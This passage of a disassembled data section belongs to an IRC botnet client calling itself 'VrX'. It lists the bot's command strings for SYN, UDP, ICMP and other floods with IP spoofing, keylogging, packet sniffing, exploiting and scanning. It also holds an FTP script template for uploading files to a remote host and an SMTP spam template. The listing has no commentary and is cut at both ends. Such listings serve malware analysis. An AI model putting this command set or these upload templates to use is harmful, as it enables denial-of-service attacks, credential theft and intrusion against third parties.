aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_42AB40	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 10h
unk_42ABB0	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 4
unk_42ABD8	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC14	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC4C	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC94	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42ACC8	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACFC	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD34	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 4
unk_42AD88	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42ADC0	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AE08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42AE40	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE78	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEBC	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AF04	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438790o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438788o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 10h
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 4
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 10h
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B064	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42B0A0	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 4
unk_42B0E8	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 4
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 10h
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 10h
aE:					; DATA XREF: sub_401ACD+49DAo
					; ___:00438778o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 10h
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387D0o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 10h
aA:					; DATA XREF: sub_401ACD+4784o
					; ___:00438794o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B25C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B278	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B2A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2C4	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B304	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B344	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B364	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 10h
unk_42B390	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 4
dword_42B3E8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B408	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B440	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B474	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B4A0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 4
unk_42B4C8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4F4	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B530	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 4
unk_42B598	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5C0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5EC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B628	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B664	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B694	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 10h
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387C4o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 10h
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 10h
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 4
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AF4o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
					; ___:004387ACo ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387CCo ...
		unicode	0, <n>,0
unk_42B78C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7EC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B804	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B81C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B864	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B88C	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B890	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B89C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B8A4	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B914	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B928	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B92C	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B93C	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B940	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B944	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9EC	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA24	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42BA50	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 10h
unk_42BA90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BACC	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 4
unk_42BAF8	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB24	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB34	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB84	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42BBC0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBF4	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC34	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
